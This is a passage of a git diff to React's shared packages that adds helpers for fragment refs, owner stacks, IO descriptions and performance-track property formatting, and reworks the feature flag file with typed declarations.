-// TODO: Delete this once the key warning no longer uses it. I.e. when enableOwnerStacks ship.
-export function describeUnknownElementTypeFrameInDEV(type: any): string {
-  if (!__DEV__) {
-    return '';
-  }
-  if (type == null) {
-    return '';
-  }
-  if (typeof type === 'function') {
-    if (enableComponentStackLocations) {
-      return describeNativeComponentFrame(type, shouldConstruct(type));
-    } else {
-      return describeFunctionComponentFrame(type);
-    }
-  }
-  if (typeof type === 'string') {
-    return describeBuiltInComponentFrame(type);
-  }
-  switch (type) {
-    case REACT_SUSPENSE_TYPE:
-      return describeBuiltInComponentFrame('Suspense');
-    case REACT_SUSPENSE_LIST_TYPE:
-      return describeBuiltInComponentFrame('SuspenseList');
-  }
-  if (typeof type === 'object') {
-    switch (type.$$typeof) {
-      case REACT_FORWARD_REF_TYPE:
-        return describeFunctionComponentFrame(type.render);
-      case REACT_MEMO_TYPE:
-        // Memo may contain any component type so we recursively resolve it.
-        return describeUnknownElementTypeFrameInDEV(type.type);
-      case REACT_LAZY_TYPE: {
-        const lazyComponent: LazyComponent<any, any> = (type: any);
-        const payload = lazyComponent._payload;
-        const init = lazyComponent._init;
-        try {
-          // Lazy may contain any component type so we recursively resolve it.
-          return describeUnknownElementTypeFrameInDEV(init(payload));
-        } catch (x) {}
-      }
-    }
-  }
-  return '';
+  return describeNativeComponentFrame(fn, false);
 }
diff --git a/packages/shared/ReactDOMFragmentRefShared.js b/packages/shared/ReactDOMFragmentRefShared.js
new file mode 100644
index 000000000000..c46d67d41140
--- /dev/null
+++ b/packages/shared/ReactDOMFragmentRefShared.js
@@ -0,0 +1,58 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * Shared logic for Fragment Ref operations for DOM and Fabric configs
+ *
+ * @flow
+ */
+
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+
+import {getNextSiblingHostFiber} from 'react-reconciler/src/ReactFiberTreeReflection';
+
+export function compareDocumentPositionForEmptyFragment<TPublicInstance>(
+  fragmentFiber: Fiber,
+  parentHostInstance: TPublicInstance,
+  otherNode: TPublicInstance,
+  getPublicInstance: (fiber: Fiber) => TPublicInstance,
+): number {
+  let result;
+  // If the fragment has no children, we can use the parent and
+  // siblings to determine a position.
+  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque
+  // $FlowFixMe[prop-missing]
+  const parentResult = parentHostInstance.compareDocumentPosition(otherNode);
+  result = parentResult;
+  if (parentHostInstance === otherNode) {
+    result = Node.DOCUMENT_POSITION_CONTAINS;
+  } else {
+    if (parentResult & Node.DOCUMENT_POSITION_CONTAINED_BY) {
+      // otherNode is one of the fragment's siblings. Use the next
+      // sibling to determine if its preceding or following.
+      const nextSiblingFiber = getNextSiblingHostFiber(fragmentFiber);
+      if (nextSiblingFiber === null) {
+        result = Node.DOCUMENT_POSITION_PRECEDING;
+      } else {
+        const nextSiblingInstance = getPublicInstance(nextSiblingFiber);
+        const nextSiblingResult =
+          // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque
+          // $FlowFixMe[prop-missing]
+          nextSiblingInstance.compareDocumentPosition(otherNode);
+        if (
+          nextSiblingResult === 0 ||
+          nextSiblingResult & Node.DOCUMENT_POSITION_FOLLOWING
+        ) {
+          result = Node.DOCUMENT_POSITION_FOLLOWING;
+        } else {
+          result = Node.DOCUMENT_POSITION_PRECEDING;
+        }
+      }
+    }
+  }
+
+  result |= Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC;
+  return result;
+}
diff --git a/packages/shared/ReactFeatureFlags.js b/packages/shared/ReactFeatureFlags.js
index 8b2d0800cb93..c1d12dfcfbd4 100644
--- a/packages/shared/ReactFeatureFlags.js
+++ b/packages/shared/ReactFeatureFlags.js
@@ -13,7 +13,7 @@
 // Flags that can likely be deleted or landed without consequences
 // -----------------------------------------------------------------------------
 
-export const enableComponentStackLocations = true;
+// None
 
 // -----------------------------------------------------------------------------
 // Killswitch
@@ -29,19 +29,8 @@ export const enableComponentStackLocations = true;
 // like migrating internal callers or performance testing.
 // -----------------------------------------------------------------------------
 
-// TODO: Finish rolling out in www
-export const favorSafetyOverHydrationPerf = true;
-export const enableAsyncActions = true;
-
 // Need to remove didTimeout argument from Scheduler before landing
-export const disableSchedulerTimeoutInWorkLoop = false;
-
-// This will break some internal tests at Meta so we need to gate this until
-// those can be fixed.
-export const enableDeferRootSchedulingToMicrotask = true;
-
-// TODO: Land at Meta before removing.
-export const disableDefaultPropsExceptForClasses = true;
+export const disableSchedulerTimeoutInWorkLoop: boolean = false;
 
 // -----------------------------------------------------------------------------
 // Slated for removal in the future (significant effort)
@@ -58,16 +47,16 @@ export const disableDefaultPropsExceptForClasses = true;
 // hydrated or deleted.
 //
 // This will eventually be replaced by the Transition Tracing proposal.
-export const enableSuspenseCallback = false;
+export const enableSuspenseCallback: boolean = false;
 
 // Experimental Scope support.
-export const enableScopeAPI = false;
+export const enableScopeAPI: boolean = false;
 
 // Experimental Create Event Handle API.
-export const enableCreateEventHandleAPI = false;
+export const enableCreateEventHandleAPI: boolean = false;
 
 // Support legacy Primer support on internal FB www
-export const enableLegacyFBSupport = false;
+export const enableLegacyFBSupport: boolean = false;
 
 // -----------------------------------------------------------------------------
 // Ongoing experiments
@@ -76,65 +65,93 @@ export const enableLegacyFBSupport = false;
 // likely to include in an upcoming release.
 // -----------------------------------------------------------------------------
 
-export const enableCache = true;
+// Yield to the browser event loop and not just the scheduler event loop before passive effects.
+// Fix gated tests that fail with this flag enabled before turning it back on.
+export const enableYieldingBeforePassive: boolean = false;
+
+// Experiment to intentionally yield less to block high framerate animations.
+export const enableThrottledScheduling: boolean = false;
+
 export const enableLegacyCache = __EXPERIMENTAL__;
 
-export const enableBinaryFlight = true;
-export const enableFlightReadableStream = true;
 export const enableAsyncIterableChildren = __EXPERIMENTAL__;
 
 export const enableTaint = __EXPERIMENTAL__;
 
-export const enablePostpone = __EXPERIMENTAL__;
+export const enableViewTransition: boolean = true;
+
+export const enableViewTransitionForPersistenceMode: boolean = false;
+
+export const enableGestureTransition = __EXPERIMENTAL__;
+
+export const enableScrollEndPolyfill = __EXPERIMENTAL__;
 
-export const enableTransitionTracing = false;
+export const enableSuspenseyImages: boolean = false;
 
-// No known bugs, but needs performance testing
-export const enableLazyContextPropagation = false;
+export const enableFizzBlockingRender = __EXPERIMENTAL__; // rel="expect"
+
+export const enableSrcObject = __EXPERIMENTAL__;
+
+export const enableHydrationChangeEvent = __EXPERIMENTAL__;
+
+export const enableDefaultTransitionIndicator = __EXPERIMENTAL__;
+
+export const enableOptimisticKey = __EXPERIMENTAL__;
+
+/**
+ * Switches Fiber creation to a simple object instead of a constructor.
+ */
+export const enableObjectFiber: boolean = false;
+
+export const enableTransitionTracing: boolean = false;
 
 // FB-only usage. The new API has different semantics.
-export const enableLegacyHidden = false;
+export const enableLegacyHidden: boolean = false;
 
 // Enables unstable_avoidThisFallback feature in Fiber
-export const enableSuspenseAvoidThisFallback = false;
-// Enables unstable_avoidThisFallback feature in Fizz
-export const enableSuspenseAvoidThisFallbackFizz = false;
+export const enableSuspenseAvoidThisFallback: boolean = false;
 
 export const enableCPUSuspense = __EXPERIMENTAL__;
 
-// Enables useMemoCache hook, intended as a compilation target for
-// auto-memoization.
-export const enableUseMemoCacheHook = true;
 // Test this at Meta before enabling.
-export const enableNoCloningMemoCache = false;
-
-export const enableUseEffectEventHook = __EXPERIMENTAL__;
+export const enableNoCloningMemoCache: boolean = false;
 
 // Test in www before enabling in open source.
 // Enables DOM-server to stream its instruction set as data-attributes
 // (handled with an MutationObserver) instead of inline-scripts
 export const enableFizzExternalRuntime = __EXPERIMENTAL__;
 
-export const alwaysThrottleRetries = true;
-
-export const passChildrenWhenCloningPersistedNodes = false;
-
-export const enableServerComponentLogs = __EXPERIMENTAL__;
+export const alwaysThrottleRetries: boolean = true;
 
-export const enableAddPropertiesFastPath = false;
+// Gate whether useEffectEvent uses the mutation phase (true) or before-mutation
+// phase (false) for updating event function references.
+export const enableEffectEventMutationPhase: boolean = false;
 
-export const enableOwnerStacks = __EXPERIMENTAL__;
+export const passChildrenWhenCloningPersistedNodes: boolean = false;
 
-export const enableShallowPropDiffing = false;
+export const enableEagerAlternateStateNodeCleanup: boolean = true;
 
 /**
  * Enables an expiration time for retry lanes to avoid starvation.
  */
-export const enableRetryLaneExpiration = false;
+export const enableRetryLaneExpiration: boolean = false;
 export const retryLaneExpirationMs = 5000;
 export const syncLaneExpirationMs = 250;
 export const transitionLaneExpirationMs = 5000;
 
+/**
+ * Enables a new error detection for infinite render loops from updates caused
+ * by setState or similar outside of the component owning the state.
+ */
+export const enableInfiniteRenderLoopDetection: boolean = false;
+
+export const enableFragmentRefs: boolean = true;
+export const enableFragmentRefsScrollIntoView: boolean = true;
+export const enableFragmentRefsInstanceHandles: boolean = true;
+export const enableFragmentRefsTextNodes: boolean = true;
+
+export const enableInternalInstanceMap: boolean = false;
+
 // -----------------------------------------------------------------------------
 // Ready for next major.
 //
@@ -147,58 +164,28 @@ export const transitionLaneExpirationMs = 5000;
 
 // const __NEXT_MAJOR__ = __EXPERIMENTAL__;
 
-// Renames the internal symbol for elements since they have changed signature/constructor
-export const renameElementSymbol = true;
-
-// Removes legacy style context
-export const disableLegacyContext = true;
-
-// Not ready to break experimental yet.
-// Modern <StrictMode /> behaviour aligns more with what components
-// components will encounter in production, especially when used With <Offscreen />.
-// TODO: clean up legacy <StrictMode /> once tests pass WWW.
-export const useModernStrictMode = true;
-
-// Not ready to break experimental yet.
-// Remove IE and MsApp specific workarounds for innerHTML
-export const disableIEWorkarounds = true;
-
-// Filter certain DOM attributes (e.g. src, href) if their values are empty
-// strings. This prevents e.g. <img src=""> from making an unnecessary HTTP
-// request for certain browsers.
-export const enableFilterEmptyStringAttributesDOM = true;
-
-// Disabled caching behavior of `react/cache` in client runtimes.
-export const disableClientCache = true;
-
 /**
- * Enables a new error detection for infinite render loops from updates caused
- * by setState or similar outside of the component owning the state.
+ * Removes legacy style context defined using static `contextTypes` and consumed with static `childContextTypes`.
+ */
+export const disableLegacyContext: boolean = true;
+/**
+ * Removes legacy style context just from function components.
  */
-export const enableInfiniteRenderLoopDetection = true;
+export const disableLegacyContextForFunctionComponents: boolean = true;
 
-// Subtle breaking changes to JSX runtime to make it faster, like passing `ref`
-// as a normal prop instead of stripping it from the props object.
+// Enable the moveBefore() alternative to insertBefore(). This preserves states of moves.
+export const enableMoveBefore: boolean = false;
 
-// Passes `ref` as a normal prop instead of stripping it from the props object
-// during element creation.
-export const enableRefAsProp = true;
-export const disableStringRefs = true;
-export const enableFastJSX = true;
+// Disabled caching behavior of `react/cache` in client runtimes.
+export const disableClientCache: boolean = true;
 
 // Warn on any usage of ReactTestRenderer
-export const enableReactTestRendererWarning = true;
+export const enableReactTestRendererWarning: boolean = true;
 
 // Disables legacy mode
 // This allows us to land breaking changes to remove legacy mode APIs in experimental builds
 // before removing them in stable in the next Major
-export const disableLegacyMode = true;
-
-// Make <Context> equivalent to <Context.Provider> instead of <Context.Consumer>
-export const enableRenderableContext = true;
-
-// Enables the `initialValue` option for `useDeferredValue`
-export const enableUseDeferredValueInitialArg = true;
+export const disableLegacyMode: boolean = true;
 
 // -----------------------------------------------------------------------------
 // Chopping Block
@@ -207,14 +194,6 @@ export const enableUseDeferredValueInitialArg = true;
 // when we plan to enable them.
 // -----------------------------------------------------------------------------
 
-// Enables time slicing for updates that aren't wrapped in startTransition.
-export const forceConcurrentByDefaultForTesting = false;
-
-export const enableUnifiedSyncLane = true;
-
-// Adds an opt-in to time slicing for updates that aren't wrapped in startTransition.
-export const allowConcurrentByDefault = false;
-
 // -----------------------------------------------------------------------------
 // React DOM Chopping Block
 //
@@ -224,51 +203,63 @@ export const allowConcurrentByDefault = false;
 
 // Disable support for comment nodes as React DOM containers. Already disabled
 // in open source, but www codebase still relies on it. Need to remove.
-export const disableCommentsAsDOMContainers = true;
+export const disableCommentsAsDOMContainers: boolean = true;
 
-export const enableTrustedTypesIntegration = false;
+export const enableTrustedTypesIntegration: boolean = true;
 
 // Prevent the value and checked attributes from syncing with their related
 // DOM properties
-export const disableInputAttributeSyncing = false;
+export const disableInputAttributeSyncing: boolean = false;
 
 // Disables children for <textarea> elements
-export const disableTextareaChildren = false;
+export const disableTextareaChildren: boolean = false;
+
+// Disables children for <textarea> elements
+export const enableParallelTransitions: boolean = false;
 
 // -----------------------------------------------------------------------------
 // Debugging and DevTools
 // -----------------------------------------------------------------------------
 
-// Adds user timing marks for e.g. state updates, suspense, and work loop stuff,
-// for an experimental timeline tool.
-export const enableSchedulingProfiler = __PROFILE__;
-
-// Helps identify side effects in render-phase lifecycle hooks and setState
-// reducers by double invoking them in StrictLegacyMode.
-export const debugRenderPhaseSideEffectsForStrictMode = __DEV__;
-
 // Gather advanced timing metrics for Profiler subtrees.
 export const enableProfilerTimer = __PROFILE__;
 
+// Adds performance.measure() marks using Chrome extensions to allow formatted
+// Component rendering tracks to show up in the Performance tab.
+// This flag will be used for both Server Component and Client Component tracks.
+// All calls should also be gated on enableProfilerTimer.
+export const enableComponentPerformanceTrack: boolean = true;
+
+// Enables annotating of React performance track events with `performanceIssue`
+// metadata, to more prominently highlight performance issues to users
+// (initially, an experimental feature in React Native).
+export const enablePerformanceIssueReporting: boolean = false;
+
+// Adds user timing marks for e.g. state updates, suspense, and work loop stuff,
+// for an experimental timeline tool.
+export const enableSchedulingProfiler: boolean =
+  !enableComponentPerformanceTrack && __PROFILE__;
+
 // Record durations for commit and passive effects phases.
 export const enableProfilerCommitHooks = __PROFILE__;
 
 // Phase param passed to onRender callback differentiates between an "update" and a "cascading-update".
 export const enableProfilerNestedUpdatePhase = __PROFILE__;
 
-// Adds verbose console logging for e.g. state updates, suspense, and work loop
-// stuff. Intended to enable React core members to more easily debug scheduling
-// issues in DEV builds.
-export const enableDebugTracing = false;
-
-export const enableAsyncDebugInfo = __EXPERIMENTAL__;
+export const enableAsyncDebugInfo: boolean = true;
 
 // Track which Fiber(s) schedule render work.
 export const enableUpdaterTracking = __PROFILE__;
 
-// Internal only.
-export const enableGetInspectorDataForInstanceInProduction = false;
+export const ownerStackLimit = 1e4;
 
-export const consoleManagedByDevToolsDuringStrictMode = true;
-
-export const enableDO_NOT_USE_disableStrictPassiveEffect = false;
+// -----------------------------------------------------------------------------
+// eslint-plugin-react-hooks
+// -----------------------------------------------------------------------------
+export const eprh_enableUseKeyedStateCompilerLint: boolean = false;
+export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;
+export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
+  | 'off'
+  | 'all'
+  | 'extra-only'
+  | 'missing-only' = 'off';
diff --git a/packages/shared/ReactFlightPropertyAccess.js b/packages/shared/ReactFlightPropertyAccess.js
new file mode 100644
index 000000000000..16f8e8cbfcad
--- /dev/null
+++ b/packages/shared/ReactFlightPropertyAccess.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export const OMITTED_PROP_ERROR =
+  'This object has been omitted by React in the console log ' +
+  'to avoid sending too much data from the server. Try logging smaller ' +
+  'or more specific objects.';
diff --git a/packages/shared/ReactIODescription.js b/packages/shared/ReactIODescription.js
new file mode 100644
index 000000000000..6d7bf648fc84
--- /dev/null
+++ b/packages/shared/ReactIODescription.js
@@ -0,0 +1,86 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export function getIODescription(value: mixed): string {
+  if (!__DEV__) {
+    return '';
+  }
+  try {
+    switch (typeof value) {
+      case 'function':
+        return value.name || '';
+      case 'object':
+        // Test the object for a bunch of common property names that are useful identifiers.
+        // While we only have the return value here, it should ideally be a name that
+        // describes the arguments requested.
+        if (value === null) {
+          return '';
+        } else if (value instanceof Error) {
+          // eslint-disable-next-line react-internal/safe-string-coercion
+          return String(value.message);
+        } else if (typeof value.url === 'string') {
+          return value.url;
+        } else if (typeof value.href === 'string') {
+          return value.href;
+        } else if (typeof value.src === 'string') {
+          return value.src;
+        } else if (typeof value.currentSrc === 'string') {
+          return value.currentSrc;
+        } else if (typeof value.command === 'string') {
+          return value.command;
+        } else if (
+          typeof value.request === 'object' &&
+          value.request !== null &&
+          typeof value.request.url === 'string'
+        ) {
+          return value.request.url;
+        } else if (
+          typeof value.response === 'object' &&
+          value.response !== null &&
+          typeof value.response.url === 'string'
+        ) {
+          return value.response.url;
+        } else if (
+          typeof value.id === 'string' ||
+          typeof value.id === 'number' ||
+          typeof value.id === 'bigint'
+        ) {
+          // eslint-disable-next-line react-internal/safe-string-coercion
+          return String(value.id);
+        } else if (typeof value.name === 'string') {
+          return value.name;
+        } else {
+          const str = value.toString();
+          if (
+            str.startsWith('[object ') ||
+            str.length < 5 ||
+            str.length > 500
+          ) {
+            // This is probably not a useful description.
+            return '';
+          }
+          return str;
+        }
+      case 'string':
+        if (value.length < 5 || value.length > 500) {
+          return '';
+        }
+        return value;
+      case 'number':
+      case 'bigint':
+        // eslint-disable-next-line react-internal/safe-string-coercion
+        return String(value);
+      default:
+        // Not useful descriptors.
+        return '';
+    }
+  } catch (x) {
+    return '';
+  }
+}
diff --git a/packages/shared/ReactOwnerStackFrames.js b/packages/shared/ReactOwnerStackFrames.js
new file mode 100644
index 000000000000..b7a883636f65
--- /dev/null
+++ b/packages/shared/ReactOwnerStackFrames.js
@@ -0,0 +1,41 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import DefaultPrepareStackTrace from 'shared/DefaultPrepareStackTrace';
+
+export function formatOwnerStack(error: Error): string {
+  const prevPrepareStackTrace = Error.prepareStackTrace;
+  Error.prepareStackTrace = DefaultPrepareStackTrace;
+  let stack = error.stack;
+  Error.prepareStackTrace = prevPrepareStackTrace;
+  if (stack.startsWith('Error: react-stack-top-frame\n')) {
+    // V8's default formatting prefixes with the error message which we
+    // don't want/need.
+    stack = stack.slice(29);
+  }
+  let idx = stack.indexOf('\n');
+  if (idx !== -1) {
+    // Pop the JSX frame.
+    stack = stack.slice(idx + 1);
+  }
+  idx = stack.indexOf('react_stack_bottom_frame');
+  if (idx !== -1) {
+    idx = stack.lastIndexOf('\n', idx);
+  }
+  if (idx !== -1) {
+    // Cut off everything after the bottom frame since it'll be internals.
+    stack = stack.slice(0, idx);
+  } else {
+    // We didn't find any internal callsite out to user space.
+    // This means that this was called outside an owner or the owner is fully internal.
+    // To keep things light we exclude the entire trace in this case.
+    return '';
+  }
+  return stack;
+}
diff --git a/packages/shared/ReactOwnerStackReset.js b/packages/shared/ReactOwnerStackReset.js
new file mode 100644
index 000000000000..e7922adb3a4b
--- /dev/null
+++ b/packages/shared/ReactOwnerStackReset.js
@@ -0,0 +1,42 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and its affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import ReactSharedInternals from 'shared/ReactSharedInternals';
+
+let lastResetTime = 0;
+
+let getCurrentTime: () => number | DOMHighResTimeStamp;
+const hasPerformanceNow =
+  // $FlowFixMe[method-unbinding]
+  typeof performance === 'object' && typeof performance.now === 'function';
+
+if (hasPerformanceNow) {
+  const localPerformance = performance;
+  getCurrentTime = () => localPerformance.now();
+} else {
+  const localDate = Date;
+  getCurrentTime = () => localDate.now();
+}
+
+export function resetOwnerStackLimit() {
+  if (__DEV__) {
+    const now = getCurrentTime();
+    const timeSinceLastReset = now - lastResetTime;
+    if (timeSinceLastReset > 1000) {
+      ReactSharedInternals.recentlyCreatedOwnerStacks = 0;
+      lastResetTime = now;
+    }
+  } else {
+    // These errors should never make it into a build so we don't need to encode them in codes.json
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'resetOwnerStackLimit should never be called in production mode. This is a bug in React.',
+    );
+  }
+}
diff --git a/packages/shared/ReactPerformanceTrackProperties.js b/packages/shared/ReactPerformanceTrackProperties.js
new file mode 100644
index 000000000000..29aba7282f04
--- /dev/null
+++ b/packages/shared/ReactPerformanceTrackProperties.js
@@ -0,0 +1,453 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {OMITTED_PROP_ERROR} from 'shared/ReactFlightPropertyAccess';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
+import isArray from 'shared/isArray';
+import {REACT_ELEMENT_TYPE} from './ReactSymbols';
+import getComponentNameFromType from './getComponentNameFromType';
+
+const EMPTY_ARRAY = 0;
+const COMPLEX_ARRAY = 1;
+const PRIMITIVE_ARRAY = 2; // Primitive values only that are accepted by JSON.stringify
+const ENTRIES_ARRAY = 3; // Tuple arrays of string and value (like Headers, Map, etc)
+
+// Showing wider objects in the devtools is not useful.
+const OBJECT_WIDTH_LIMIT = 100;
+
+function getArrayKind(array: Object): 0 | 1 | 2 | 3 {
+  let kind: 0 | 1 | 2 | 3 = EMPTY_ARRAY;
+  for (let i = 0; i < array.length && i < OBJECT_WIDTH_LIMIT; i++) {
+    const value = array[i];
+    if (typeof value === 'object' && value !== null) {
+      if (
+        isArray(value) &&
+        value.length === 2 &&
+        typeof value[0] === 'string'
+      ) {
+        // Key value tuple
+        if (kind !== EMPTY_ARRAY && kind !== ENTRIES_ARRAY) {
+          return COMPLEX_ARRAY;
+        }
+        kind = ENTRIES_ARRAY;
+      } else {
+        return COMPLEX_ARRAY;
+      }
+    } else if (typeof value === 'function') {
+      return COMPLEX_ARRAY;
+    } else if (typeof value === 'string' && value.length > 50) {
+      return COMPLEX_ARRAY;
+    } else if (kind !== EMPTY_ARRAY && kind !== PRIMITIVE_ARRAY) {
+      return COMPLEX_ARRAY;
+    } else if (typeof value === 'bigint') {
+      return COMPLEX_ARRAY;
+    } else {
+      kind = PRIMITIVE_ARRAY;
+    }
+  }
+  return kind;
+}
+
+export function addObjectToProperties(
+  object: Object,
+  properties: Array<[string, string]>,
+  indent: number,
+  prefix: string,
+): void {
+  let addedProperties = 0;
+  for (const key in object) {
+    if (hasOwnProperty.call(object, key) && key[0] !== '_') {
+      addedProperties++;
+      const value = object[key];
+      addValueToProperties(key, value, properties, indent, prefix);
+      if (addedProperties >= OBJECT_WIDTH_LIMIT) {
+        properties.push([
+          prefix +
+            '\xa0\xa0'.repeat(indent) +
+            'Only ' +
+            OBJECT_WIDTH_LIMIT +
+            ' properties are shown. React will not log more properties of this object.',
+          '',
+        ]);
+        break;
+      }
+    }
+  }
+}
+
+function readReactElementTypeof(value: Object): mixed {
+  // Prevents dotting into $$typeof in opaque origin windows.
+  return '$$typeof' in value && hasOwnProperty.call(value, '$$typeof')
+    ? value.$$typeof
+    : undefined;
+}
+
+export function addValueToProperties(
+  propertyName: string,
+  value: mixed,
+  properties: Array<[string, string]>,
+  indent: number,
+  prefix: string,
+): void {
+  let desc;
+  switch (typeof value) {
+    case 'object':
+      if (value === null) {
+        desc = 'null';
+        break;
+      } else {
+        if (readReactElementTypeof(value) === REACT_ELEMENT_TYPE) {
+          // JSX
+          const typeName = getComponentNameFromType(value.type) || '\u2026';
+          const key = value.key;
+          const props: any = value.props;
+          const propsKeys = Object.keys(props);
+          const propsLength = propsKeys.length;
+          if (key == null && propsLength === 0) {
+            desc = '<' + typeName + ' />';
+            break;
+          }
+          if (
+            indent < 3 ||
+            (propsLength === 1 && propsKeys[0] === 'children' && key == null)
+          ) {
+            desc = '<' + typeName + ' \u2026 />';
+            break;
+          }
+          properties.push([
+            prefix + '\xa0\xa0'.repeat(indent) + propertyName,
+            '<' + typeName,
+          ]);
+          if (key !== null) {
+            addValueToProperties('key', key, properties, indent + 1, prefix);
+          }
+          let hasChildren = false;
+          let addedProperties = 0;
+          for (const propKey in props) {
+            addedProperties++;
+            if (propKey === 'children') {
+              if (
+                props.children != null &&
+                (!isArray(props.children) || props.children.length > 0)
+              ) {
+                hasChildren = true;
+              }
+            } else if (
+              hasOwnProperty.call(props, propKey) &&
+              propKey[0] !== '_'
+            ) {
+              addValueToProperties(
+                propKey,
+                props[propKey],
+                properties,
+                indent + 1,
+                prefix,
+              );
+            }
+
+            if (addedProperties >= OBJECT_WIDTH_LIMIT) {
+              break;
+            }
+          }
+          properties.push([
+            '',
+            hasChildren ? '>\u2026</' + typeName + '>' : '/>',
+          ]);
+          return;
+        }
+        // $FlowFixMe[method-unbinding]
+        const objectToString = Object.prototype.toString.call(value);
+        let objectName = objectToString.slice(8, objectToString.length - 1);
+        if (objectName === 'Array') {
+          const array: Array<any> = (value: any);
+          const didTruncate = array.length > OBJECT_WIDTH_LIMIT;
+          const kind = getArrayKind(array);
+          if (kind === PRIMITIVE_ARRAY || kind === EMPTY_ARRAY) {
+            desc = JSON.stringify(
+              didTruncate
+                ? array.slice(0, OBJECT_WIDTH_LIMIT).concat('…')
+                : array,
+            );
+            break;
+          } else if (kind === ENTRIES_ARRAY) {
+            properties.push([
+              prefix + '\xa0\xa0'.repeat(indent) + propertyName,
+              '',
+            ]);
+            for (let i = 0; i < array.length && i < OBJECT_WIDTH_LIMIT; i++) {
+              const entry = array[i];
+              addValueToProperties(
+                entry[0],
+                entry[1],
+                properties,
+                indent + 1,
+                prefix,
+              );
+            }
+            if (didTruncate) {
+              addValueToProperties(
+                OBJECT_WIDTH_LIMIT.toString(),
+                '…',
+                properties,
+                indent + 1,
+                prefix,
+              );
+            }
+            return;
+          }
+        }
+        if (objectName === 'Promise') {
+          if (value.status === 'fulfilled') {
+            // Print the inner value
+            const idx = properties.length;
+            addValueToProperties(
+              propertyName,
+              value.value,
+              properties,
+              indent,
+              prefix,
+            );
+            if (properties.length > idx) {
+              // Wrap the value or type in Promise descriptor.
+              const insertedEntry = properties[idx];
+              insertedEntry[1] =
+                'Promise<' + (insertedEntry[1] || 'Object') + '>';
+              return;
+            }
+          } else if (value.status === 'rejected') {
+            // Print the inner error
+            const idx = properties.length;
+            addValueToProperties(
+              propertyName,
+              value.reason,
+              properties,
+              indent,
+              prefix,
+            );
+            if (properties.length > idx) {
+              // Wrap the value or type in Promise descriptor.
+              const insertedEntry = properties[idx];
+              insertedEntry[1] = 'Rejected Promise<' + insertedEntry[1] + '>';
+              return;
+            }
+          }
+          properties.push([
+            '\xa0\xa0'.repeat(indent) + propertyName,
+            'Promise',
+          ]);
+          return;
+        }
+        if (objectName === 'Object') {
+          const proto: any = Object.getPrototypeOf(value);
+          if (proto && typeof proto.constructor === 'function') {
+            objectName = proto.constructor.name;
+          }
+        }
+        properties.push([
+          prefix + '\xa0\xa0'.repeat(indent) + propertyName,
+          objectName === 'Object' ? (indent < 3 ? '' : '\u2026') : objectName,
+        ]);
+        if (indent < 3) {
+          addObjectToProperties(value, properties, indent + 1, prefix);
+        }
+        return;
+      }
+    case 'function':
+      const functionName = value.name;
+      if (
+        functionName === '' ||
+        // e.g. proxied functions or classes with a static property "name" that's not a string
+        typeof functionName !== 'string'
+      ) {
+        desc = '() => {}';
+      } else {
+        desc = functionName + '() {}';
+      }
+      break;
+    case 'string':
+      if (value === OMITTED_PROP_ERROR) {
+        desc = '\u2026'; // ellipsis
+      } else {
+        desc = JSON.stringify(value);
+      }
+      break;
+    case 'undefined':
+      desc = 'undefined';
+      break;
+    case 'boolean':
+      desc = value ? 'true' : 'false';
+      break;
+    default:
+      // eslint-disable-next-line react-internal/safe-string-coercion
+      desc = String(value);
+  }
+  properties.push([prefix + '\xa0\xa0'.repeat(indent) + propertyName, desc]);
+}
+
+const REMOVED = '-\xa0';
+const ADDED = '+\xa0';
+const UNCHANGED = '\u2007\xa0';
+
+export function addObjectDiffToProperties(
+  prev: Object,
+  next: Object,
+  properties: Array<[string, string]>,
+  indent: number,
+): boolean {
+  // Note: We diff even non-owned properties here but things that are shared end up just the same.
+  // If a property is added or removed, we just emit the property name and omit the value it had.
+  // Mainly for performance. We need to minimize to only relevant information.
+  let isDeeplyEqual = true;
+  let prevPropertiesChecked = 0;
+  for (const key in prev) {
+    if (prevPropertiesChecked > OBJECT_WIDTH_LIMIT) {
+      properties.push([
+        'Previous object has more than ' +
+          OBJECT_WIDTH_LIMIT +
+          ' properties. React will not attempt to diff objects with too many properties.',
+        '',
+      ]);
+      isDeeplyEqual = false;
+      break;
+    }
+
+    if (!(key in next)) {
+      properties.push([REMOVED + '\xa0\xa0'.repeat(indent) + key, '\u2026']);
+      isDeeplyEqual = false;
+    }
+    prevPropertiesChecked++;
+  }
+
+  let nextPropertiesChecked = 0;
+  for (const key in next) {
+    if (nextPropertiesChecked > OBJECT_WIDTH_LIMIT) {
+      properties.push([
+        'Next object has more than ' +
+          OBJECT_WIDTH_LIMIT +
+          ' properties. React will not attempt to diff objects with too many properties.',
+        '',
+      ]);
+      isDeeplyEqual = false;
+      break;
+    }
+
+    if (key in prev) {
+      const prevValue = prev[key];
+      const nextValue = next[key];
+      if (prevValue !== nextValue) {
+        if (indent === 0 && key === 'children') {
+          // Omit any change inside the top level children prop since it's expected to change
+          // with any change to children of the component and their props will be logged
+          // elsewhere but still mark it as a cause of render.
+          const line = '\xa0\xa0'.repeat(indent) + key;
+          properties.push([REMOVED + line, '\u2026'], [ADDED + line, '\u2026']);
+          isDeeplyEqual = false;
+          continue;
+        }
+        if (indent >= 3) {
